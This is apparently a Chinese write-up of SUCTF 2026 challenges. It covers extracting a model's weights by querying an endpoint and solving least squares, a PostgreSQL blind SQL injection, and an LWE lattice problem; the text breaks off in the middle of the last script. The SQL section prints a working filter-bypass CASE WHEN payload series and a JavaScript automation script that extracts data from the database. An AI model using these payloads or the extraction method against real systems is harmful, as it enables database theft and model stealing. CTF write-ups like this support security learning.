SUCTF2026WP

admin 2026-03-19 17:04:48 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档记录了SUCTF2026两道题目解题过程。BabyAI题利用神经网络线性特性,通过查询接口收集输出并用最小二乘法逆向恢复全连接层权重;SQL注入题绕过WASM签名和关键字过滤,采用CASEWHEN布尔盲注逐字提取数据库信息,两题均成功获取flag。 综合评分: 87 文章分类: AI安全,CTF,WEB安全,漏洞分析,实战经验


cover_image

SUCTF 2026 WP

原创

玄网安全 oPis 玄网安全 oPis

玄网安全

2026年3月17日 11:37 浙江

SUCTF 2026 – su_theif / BabyAI 复现笔记

0. 一句话思路

服务端模型整体是线性的;已知前两层卷积权重(来自 model_base.pth),未知的只有最后一层线性层,因此可以通过查询 /predict 收集输出,再用最小二乘把线性层参数直接解出来,最后把恢复出的权重上传 /flag 过逐层比对。

1. 服务端行为梳理

题目给了 Flask 服务端代码(app.py)以及一个基础权重(model_base.pth)。服务端主要两条路由:

  • /predict:输入一张 1×32×32 的图(json 传数组),服务端用当前模型前向推理,返回 256 维输出。
  • /flag:上传一个模型参数文件(base64),服务端加载后与它自己的模型逐层做差,差异在极小阈值内就给 flag。

关键结构(从服务端 Net 能看出来):两层卷积 + 一层全连接,前向过程中没有 ReLU 之类的非线性,所以整个网络等价于一个大的仿射变换。

2. 为什么能“解参数”

题面提到远端模型是用 model_base.pth 做迁移学习得到的。常见套路是冻结前面的特征提取层,只训练最后一层分类/回归层。结合这里网络没有非线性,假设可以写成:

  • 记输入为 x
  • 记前两层卷积(含 padding、stride 等)组成的特征映射为 f(·),输出为 z = f(x),维度为 256
  • 最后一层线性层输出 y = z W^T + b,其中 W 为 256×256,b 为 256

在这个假设下:

  • f(·) 的参数可直接从 model_base.pth 得到,因此给定 x 就能本地算出对应的 z
  • 对同一组 x,服务端会返回对应的 y
  • 于是未知量只剩下 W, b,它们满足标准的线性回归关系

3. 采样与线性回归怎么做

把 N 组样本堆起来写成矩阵形式:

  • Z:N×256(每行是一个样本的 z
  • Y:N×256(每行是服务端返回的 y

有:

Y = Z W^T + 1 b^T

把偏置并入特征,拼一列常数 1:

  • Z' = [Z, 1] 维度 N×257
  • Θ = [W^T; b^T] 维度 257×256

则:

Y = Z' Θ

只要 Z' 的列空间足够满(直观上 rank 逼近 257),就可以用最小二乘求 Θ

  • 至少要 N ≥ 257
  • 实际上为了更稳,直接取 N=300 左右即可(多一点对噪声/数值误差更友好)

回归解出来后再把 Θ 拆回 W 和 b,然后把它们塞进本地模型的 linear 层并保存上传。

4. 复现脚本(solve.py)

下面是实现要点与伪代码(把流程写清楚即可,具体网络请求与序列化按题目接口补齐):

  • 本地加载 model_base.pth,仅用于计算卷积部分的特征 Z
  • 采样 N 组随机输入 x,逐个请求 /predict 得到对应 Y
  • 把偏置并入特征,最小二乘解线性层参数 Θ
  • 把 Θ 拆成 W,b 写回模型,序列化后上传 /flag
import torch
import torch.nn as nn
import requests
import json
import numpy as np
import base64
import io

# Define the model structure
class Net(nn.Module):
    def __init__(self):
        super(Net, self).__init__()
        self.linear = nn.Linear(256, 256)
        self.conv=nn.Conv2d(1, 1, (3, 3), stride=1)
        self.conv1=nn.Conv2d(1, 1, (2, 2), stride=2)

    def forward_features(self, x):
        # Extract features up to the linear layer
        x = nn.functional.pad(x, (2, 0, 2, 0), mode='constant', value=0)
        x = self.conv(x)
        x = self.conv1(x)
        x = x.view(x.size(0), -1) # Flatten
        return x

    def forward(self, x):
        x = self.forward_features(x)
        x = self.linear(x)
        return x

def get_base_model():
    # Load the provided base model
    model_path = 'model_base.pth'
    device = torch.device("cpu")
    model = Net().to(device)
    model.load_state_dict(torch.load(model_path, map_location=device))
    return model

def query_server(image_data):
    url = 'http://1.95.113.59:10003/predict'
    try:
        response = requests.post(url, json={'image': image_data})
        if response.status_code == 200:
            return response.json()['prediction']
        else:
            print(f"Error: {response.status_code}, {response.text}")
            return None
    except Exception as e:
        print(f"Exception: {e}")
        return None

def main():
    base_model = get_base_model()

    # Generate random input data
    N = 300 # Need > 256 samples

    # Generate random images
    X_np = np.random.randn(N, 1, 32, 32).astype(np.float32)
    X_list = X_np.tolist()

    print("Querying server...")

    # Collect data
    Y_list = [] # Server outputs

    # Pre-compute Z using base model locally
    X_tensor = torch.tensor(X_np)
    with torch.no_grad():
        Z_tensor = base_model.forward_features(X_tensor)

    Z_np = Z_tensor.numpy()

    for i in range(N):
        if i % 50 == 0:
            print(f"Query {i}/{N}")

        img_data = X_list[i]
        y_pred = query_server(img_data)

        if y_pred is None:
            print("Failed to query server.")
            break

        Y_list.append(y_pred)

    if len(Y_list) != N:
        print("Not enough data collected.")
        return

    Y_np = np.array(Y_list)

    print(f"Data collected. Z shape: {Z_np.shape}, Y shape: {Y_np.shape}")

    # Solve for W and b: Y = Z * W^T + b
    # Add bias term to Z for simpler solver
    Z_bias = np.hstack([Z_np, np.ones((N, 1))])

    # Solve Z_bias * Weights = Y using Least Squares
    # Weights shape will be (257, 256)
    W_sol, residuals, rank, s = np.linalg.lstsq(Z_bias, Y_np, rcond=None)

    print(f"Residuals sum: {np.sum(residuals) if residuals.size > 0 else 'N/A'}")

    # Extract weights and bias
    weights_rec = W_sol[:-1, :].T # (256, 256)
    bias_rec = W_sol[-1, :]       # (256,)

    # Check MSE on training set
    Y_pred = Z_bias @ W_sol
    mse = np.mean((Y_pred - Y_np)**2)
    print(f"MSE on training set: {mse}")

&nbsp; &nbsp;&nbsp;if&nbsp;mse <&nbsp;1e-5:
&nbsp; &nbsp; &nbsp; &nbsp; print("MSE is small. Assumption likely correct.")

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Construct the recovered model
&nbsp; &nbsp; &nbsp; &nbsp; new_model = get_base_model()
&nbsp; &nbsp; &nbsp; &nbsp; new_model.linear.weight.data = torch.tensor(weights_rec, dtype=torch.float32)
&nbsp; &nbsp; &nbsp; &nbsp; new_model.linear.bias.data = torch.tensor(bias_rec, dtype=torch.float32)

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Save model to buffer
&nbsp; &nbsp; &nbsp; &nbsp; buffer = io.BytesIO()
&nbsp; &nbsp; &nbsp; &nbsp; torch.save(new_model.state_dict(), buffer)
&nbsp; &nbsp; &nbsp; &nbsp; buffer.seek(0)
&nbsp; &nbsp; &nbsp; &nbsp; model_b64 = base64.b64encode(buffer.read()).decode('utf-8')

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Upload to get flag
&nbsp; &nbsp; &nbsp; &nbsp; flag_url =&nbsp;'http://1.95.113.59:10003/flag'
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print("Uploading model to get flag...")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; r = requests.post(flag_url, json={'model': model_b64})
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print("Flag response:", r.text)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;Exception&nbsp;as&nbsp;e:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(f"Error getting flag:&nbsp;{e}")
&nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp; print("MSE is large. Something is wrong.")

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; main()

可选自检:

  • rank(z_bias) 接近 257 时更稳;若 rank 偏低,增大 n 或更换采样分布
  • 计算 mse = mean((z_bias @ theta - y)^2),假设成立时通常会非常小

5. 结果

本地用 mse 做一个自检:如果假设成立(卷积层冻结且前向无非线性),训练集上的拟合误差会非常小;随后上传恢复模型即可拿到 flag。

Flag response: {"flag":"Here is your flag: SUCTF{n0t_4ll_h1st0ry_t3lls_th3_truth_6a4e2b8d}"}

6. Flag

SUCTF{n0t_4ll_h1st0ry_t3lls_th3_truth_6a4e2b8d}

SU Query 注入题 Writeup

题目概述 题目提供了一个搜索页面,用户输入关键词后,前端会从 /api/sign 获取签名材料(nonce、ts等),然后调用两个WASM模块生成签名,最后向 /api/query 发送POST请求进行搜索。搜索框存在SQL注入漏洞,但服务器对 or、and、– 等关键字进行了黑名单过滤(不区分大小写),且每次请求必须携带正确的签名,因此无法直接使用 sqlmap 等工具。

信息收集 通过查看前端 app.js 可知:

搜索请求为 POST /api/query,JSON格式:{q, nonce, ts, sign}。

签名由 WASM 生成,需要每次动态获取。

错误信息回显:当注入语句出错时,会返回 PostgreSQL 错误,例如 ERROR: unterminated quoted string…,确认后端为 PostgreSQL。

观察正常搜索结果:输入 ‘||’ 返回了三条记录(id 1,2,3),而输入其他内容可能只返回一条或报错。由此推断查询语句类似:

SELECT&nbsp;*&nbsp;FROM&nbsp;notes&nbsp;WHERE&nbsp;title&nbsp;LIKE&nbsp;'%输入%'&nbsp;OR&nbsp;content&nbsp;LIKE&nbsp;'%输入%'&nbsp;LIMIT&nbsp;20;

并且 ‘||’ 使条件恒真,返回所有记录。

绕过黑名单 由于 or、and 被过滤(大小写均无效),我们使用 || 连接字符串,并结合 CASE WHEN 构造布尔盲注。例如:

' || CASE WHEN 条件 THEN '%' ELSE 'no'&nbsp;END&nbsp;||&nbsp;'

当条件为真时,整个表达式结果为 ‘%’,匹配所有记录(返回三条);为假时结果为 ‘no’,可能只匹配到包含 “no” 的记录(实际测试中返回 id=2 的记录,因为 “no” 可能出现在某条笔记的标题或内容中)。这样我们就有了一个可靠的布尔指示器。

获取数据库名 编写 JavaScript 脚本在浏览器控制台运行,利用布尔盲注逐字符获取当前数据库名。关键 payload:

' || CASE WHEN substr(current_database(),{pos},1)='{ch}' THEN '%' ELSE 'no'&nbsp;END&nbsp;||&nbsp;'

脚本枚举字母和数字,最终得到数据库名:ctf。

获取表名 使用 pg_tables 视图枚举所有用户表。由于 pg_tables 可能被拦截,但实际测试中以下 payload 可用:

' || CASE WHEN EXISTS (SELECT&nbsp;1&nbsp;FROM&nbsp;pg_tables&nbsp;WHERE&nbsp;schemaname='public'&nbsp;ORDER&nbsp;BY&nbsp;tablename&nbsp;LIMIT&nbsp;1&nbsp;OFFSET&nbsp;{offset})&nbsp;THEN&nbsp;'%'&nbsp;ELSE&nbsp;'no'&nbsp;END&nbsp;||&nbsp;'

通过偏移量判断表数量,再逐表获取表名。最终得到两个表:posts 和 secrets。

获取列名 目标表 secrets 可能存放 flag。尝试使用 information_schema.columns 但被拦截,改用 PostgreSQL 系统表 pg_class 和 pg_attribute。通过以下 payload 判断列是否存在:

' || CASE WHEN EXISTS (SELECT&nbsp;1&nbsp;FROM&nbsp;pg_attribute&nbsp;WHERE&nbsp;(attrelid, attnum) = (SELECT&nbsp;oid, {attnum}&nbsp;FROM&nbsp;pg_class&nbsp;WHERE&nbsp;relname='secrets'))&nbsp;THEN&nbsp;'%'&nbsp;ELSE&nbsp;'no'&nbsp;END&nbsp;||&nbsp;'

逐列探测,发现有两列(attnum=1 和 2)。然后逐列获取列名:

' || CASE WHEN substr((SELECT&nbsp;attname&nbsp;FROM&nbsp;pg_attribute&nbsp;WHERE&nbsp;(attrelid, attnum) = (SELECT&nbsp;oid, {attnum}&nbsp;FROM&nbsp;pg_class&nbsp;WHERE&nbsp;relname='secrets')), {pos},&nbsp;1) =&nbsp;'{ch}'&nbsp;THEN&nbsp;'%'&nbsp;ELSE&nbsp;'no'&nbsp;END&nbsp;||&nbsp;'

得到列名:id 和 flag。

提取 flag 确定 secrets 表有 flag 列后,获取记录数:

' || CASE WHEN (SELECT&nbsp;COUNT(*)&nbsp;FROM&nbsp;secrets) = {n}&nbsp;THEN&nbsp;'%'&nbsp;ELSE&nbsp;'no'&nbsp;END&nbsp;||&nbsp;'

得到只有一条记录。然后逐字符提取 flag:

' || CASE WHEN substr((SELECT&nbsp;flag&nbsp;FROM&nbsp;secrets&nbsp;ORDER&nbsp;BY&nbsp;id&nbsp;LIMIT&nbsp;1&nbsp;OFFSET&nbsp;0), {pos},&nbsp;1) =&nbsp;'{ch}'&nbsp;THEN&nbsp;'%'&nbsp;ELSE&nbsp;'no'&nbsp;END&nbsp;||&nbsp;'

脚本枚举常见字符,最终得到 flag 的前半部分,但在第25位遇到未知字符。手动测试发现是下划线 _,因此完整 flag 为:

(async&nbsp;function()&nbsp;{
&nbsp; &nbsp;&nbsp;const&nbsp;sleep =&nbsp;ms&nbsp;=>&nbsp;new&nbsp;Promise(resolve&nbsp;=>&nbsp;setTimeout(resolve,&nbsp;800));
&nbsp; &nbsp;&nbsp;const&nbsp;input =&nbsp;document.getElementById('q');
&nbsp; &nbsp;&nbsp;const&nbsp;runBtn =&nbsp;document.getElementById('run');
&nbsp; &nbsp;&nbsp;const&nbsp;outElem =&nbsp;document.getElementById('out');

&nbsp; &nbsp;&nbsp;function&nbsp;isTrue()&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;text = outElem.textContent;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;text.includes('"id": 1') && text.includes('"id": 2') && text.includes('"id": 3');
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;async&nbsp;function&nbsp;query(payload)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; input.value = payload;
&nbsp; &nbsp; &nbsp; &nbsp; runBtn.click();
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;await&nbsp;sleep(800);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;isTrue();
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;console.log("开始提取 secrets 表中的 flag...");

&nbsp; &nbsp;&nbsp;// 获取记录总数
&nbsp; &nbsp;&nbsp;let&nbsp;rowCount =&nbsp;0;
&nbsp; &nbsp;&nbsp;for&nbsp;(let&nbsp;n =&nbsp;1; n <=&nbsp;10; n++) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;payload =&nbsp;`' || CASE WHEN (SELECT COUNT(*) FROM secrets) =&nbsp;${n}&nbsp;THEN '%' ELSE 'no' END || '`;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;console.log(`检查总数是否为&nbsp;${n}...`);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(await&nbsp;query(payload)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rowCount = n;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;console.log(`总记录数为:&nbsp;${rowCount}`);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;if&nbsp;(rowCount ===&nbsp;0) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;console.log("无法获取记录数");
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return;
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;const&nbsp;flags = [];
&nbsp; &nbsp;&nbsp;for&nbsp;(let&nbsp;i =&nbsp;0; i < rowCount; i++) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;console.log(`正在提取第&nbsp;${i+1}&nbsp;条记录的 flag...`);

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 获取flag长度
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;let&nbsp;length =&nbsp;0;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(let&nbsp;len =&nbsp;1; len <=&nbsp;100; len++) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;payload =&nbsp;`' || CASE WHEN (SELECT LENGTH(flag) FROM secrets ORDER BY id LIMIT 1 OFFSET&nbsp;${i}) =&nbsp;${len}&nbsp;THEN '%' ELSE 'no' END || '`;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(await&nbsp;query(payload)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; length = len;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;console.log(`第&nbsp;${i+1}&nbsp;条 flag 长度为&nbsp;${len}`);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(length ===&nbsp;0) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;console.log(`无法获取长度,跳过`);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; flags.push('?');
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;let&nbsp;flag =&nbsp;'';
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(let&nbsp;pos =&nbsp;1; pos <= length; pos++) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;let&nbsp;found =&nbsp;false;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 枚举常见字符集:小写字母、数字、大写字母、下划线、大括号、连字符等
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;charsets = [
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [97,&nbsp;122],&nbsp;// a-z
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [48,&nbsp;57], &nbsp;// 0-9
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [65,&nbsp;90], &nbsp;// A-Z
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [95,&nbsp;95], &nbsp;// _
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [123,&nbsp;123],&nbsp;// {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [125,&nbsp;125],&nbsp;// }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [45,&nbsp;45],&nbsp;// -
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [46,&nbsp;46],&nbsp;// .
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [47,&nbsp;47],&nbsp;// /
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [58,&nbsp;58],&nbsp;// :
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [59,&nbsp;59],&nbsp;// ;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [61,&nbsp;61],&nbsp;// =
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [63,&nbsp;63],&nbsp;// ?
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [64,&nbsp;64],&nbsp;// @
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [33,&nbsp;33],&nbsp;// !
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [34,&nbsp;34],&nbsp;// "
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [35,&nbsp;35],&nbsp;// #
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [36,&nbsp;36],&nbsp;// $
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [37,&nbsp;37],&nbsp;// %
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [38,&nbsp;38],&nbsp;// &
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [39,&nbsp;39],&nbsp;// '
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [40,&nbsp;40],&nbsp;// (
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [41,&nbsp;41],&nbsp;// )
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [42,&nbsp;42],&nbsp;// *
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [43,&nbsp;43],&nbsp;// +
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [44,&nbsp;44],&nbsp;// ,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [94,&nbsp;94],&nbsp;// ^
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [96,&nbsp;96],&nbsp;// `
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [124,&nbsp;124],&nbsp;// |
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [126,&nbsp;126]&nbsp;// ~
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ];
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(let&nbsp;charset&nbsp;of&nbsp;charsets) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(let&nbsp;code = charset[0]; code <= charset[1]; code++) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;ch =&nbsp;String.fromCharCode(code);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 如果字符是单引号,需要在SQL中转义为两个单引号,但这里先不考虑
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;payload =&nbsp;`' || CASE WHEN substr((SELECT flag FROM secrets ORDER BY id LIMIT 1 OFFSET&nbsp;${i}),&nbsp;${pos}, 1) = '${ch}' THEN '%' ELSE 'no' END || '`;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(await&nbsp;query(payload)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; flag += ch;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;console.log(`第&nbsp;${i+1}&nbsp;条 flag,位置&nbsp;${pos}:&nbsp;${ch}`);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; found =&nbsp;true;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(found)&nbsp;break;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!found) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; flag +=&nbsp;'?';
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;console.log(`第&nbsp;${i+1}&nbsp;条 flag,位置&nbsp;${pos}: 未知字符`);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; flags.push(flag);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;console.log(`第&nbsp;${i+1}&nbsp;条 flag =&nbsp;${flag}`);
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;console.log("所有 flag:", flags);
})();

25位会报错

' || CASE WHEN substr((SELECT&nbsp;flag&nbsp;FROM&nbsp;secrets),&nbsp;25,&nbsp;1) =&nbsp;'_'&nbsp;THEN&nbsp;'%'&nbsp;ELSE&nbsp;'no'&nbsp;END&nbsp;||&nbsp;'
SUCTF{P9s9L_!Nject!On_IS_3@$Y_RiGht}

SU_babyAI

WriteUp1. 题目背景与逻辑梳理题目给出了一个 task.py 和一个模型文件 model.pth。网络结构:模型非常简单,包含一层 1D 卷积(Conv1d)和一层全连接(Linear),均没有偏置(bias=False)。计算流程:输入  为 Flag 的 ASCII 码序列。。最终输出结果 ,其中 ,噪声 。数学本质:由于卷积和全连接层都是线性的,且没有激活函数,整个过程可以合并为一个矩阵乘法:

其中  是由权重决定的转换矩阵, 是未知的 Flag, 是极小的扰动向量。这是一个经典的 LWE (Learning With Errors) 问题。2. 参数提取与矩阵合并首先需要从 model.pth 中加载权重,并将卷积层与全连接层合并。卷积核:,步长为 2。全连接层:权重矩阵为 。合并逻辑:对于卷积层的第  个输出节点 ,其输入源自 。通过全连接层后,第  个输出 。代入得: 的系数由  和  交叉相乘得到。3. 解题核心:格基规约 (LLL)直接搜索 ASCII 码空间由于存在噪声而变得不可行。我们利用 Kannan’s Embedding 将 CVP(最近向量问题)转化为 SVP(最短向量问题),构造如下格矩阵 :其中: 是提取出的未知系数矩阵。 是常数项偏移。 是一个较大的常数(如 160),用于平衡噪声。我们利用 known_chars(SUCTF{ 和 })减少变量数量,从而提高格规约的成功率。4. 完整求解脚本我们将提取权重与 SageMath 求解逻辑整合如下:

import&nbsp;torch
import&nbsp;torch.nn&nbsp;as&nbsp;nn
import&nbsp;os

# 1. 定义与题目一致的网络结构
class&nbsp;ModuloNet(nn.Module):
&nbsp; &nbsp;&nbsp;def&nbsp;__init__(self, n_in, m_out):
&nbsp; &nbsp; &nbsp; &nbsp; super().__init__()
&nbsp; &nbsp; &nbsp; &nbsp; self.conv = nn.Conv1d(1,&nbsp;1,&nbsp;3, stride=2, bias=False)
&nbsp; &nbsp; &nbsp; &nbsp; self.fc = nn.Linear((n_in -&nbsp;3) //&nbsp;2&nbsp;+&nbsp;1, m_out, bias=False)

# 2. 提取参数
n, m, q =&nbsp;41,&nbsp;15,&nbsp;1000000007
model = ModuloNet(n, m)

if&nbsp;not&nbsp;os.path.exists("model.pth"):
&nbsp; &nbsp; print("错误:当前目录下找不到 model.pth 文件!")
&nbsp; &nbsp; exit()

model.load_state_dict(torch.load("model.pth", map_location="cpu"))
w_conv = model.conv.weight.squeeze().long().tolist()
w_fc = model.fc.weight.long().tolist()

# 3. 计算合并矩阵 M (将 Conv 和 FC 映射回原始输入 x 的系数)
M = [[0] * n&nbsp;for&nbsp;_&nbsp;in&nbsp;range(m)]
for&nbsp;j&nbsp;in&nbsp;range(m):
&nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(20):&nbsp;# conv_out_size
&nbsp; &nbsp; &nbsp; &nbsp; M[j][2*i] &nbsp; = (M[j][2*i] &nbsp; + w_fc[j][i] * w_conv[0]) % q
&nbsp; &nbsp; &nbsp; &nbsp; M[j][2*i+1] = (M[j][2*i+1] + w_fc[j][i] * w_conv[1]) % q
&nbsp; &nbsp; &nbsp; &nbsp; M[j][2*i+2] = (M[j][2*i+2] + w_fc[j][i] * w_conv[2]) % q

# 题目提供的最终输出 Y
Y = [776038603,&nbsp;454677179,&nbsp;277026269,&nbsp;279042526,&nbsp;78728856,&nbsp;784454706,&nbsp;29243312,&nbsp;291698200,&nbsp;137468500,&nbsp;236943731,&nbsp;733036662,&nbsp;421311403,&nbsp;340527174,&nbsp;804823668,&nbsp;379367062]

# 4. 识别已知位并构造 SageMath 脚本内容
known = {0: ord('S'),&nbsp;1: ord('U'),&nbsp;2: ord('C'),&nbsp;3: ord('T'),&nbsp;4: ord('F'),&nbsp;5: ord('{'),&nbsp;40: ord('}')}
unknown_indices = [i&nbsp;for&nbsp;i&nbsp;in&nbsp;range(n)&nbsp;if&nbsp;i&nbsp;not&nbsp;in&nbsp;known]

# 这一段是生成给 SageMath 跑的代码字符串
sage_code =&nbsp;f"""
# 这里的 A 是提取出的未知数系数矩阵
A =&nbsp;{[[M[j][i]&nbsp;for&nbsp;i&nbsp;in&nbsp;unknown_indices]&nbsp;for&nbsp;j&nbsp;in&nbsp;range(m)]}
Y =&nbsp;{Y}
M_full =&nbsp;{M}
q =&nbsp;{q}
known =&nbsp;{known}
unknown_indices =&nbsp;{unknown_indices}

m_eq = len(A)
n_unk = len(A[0])
center = 75

Y_shift = []
for j in range(m_eq):
&nbsp; &nbsp; val = Y[j]
&nbsp; &nbsp; for idx, char_val in known.items():
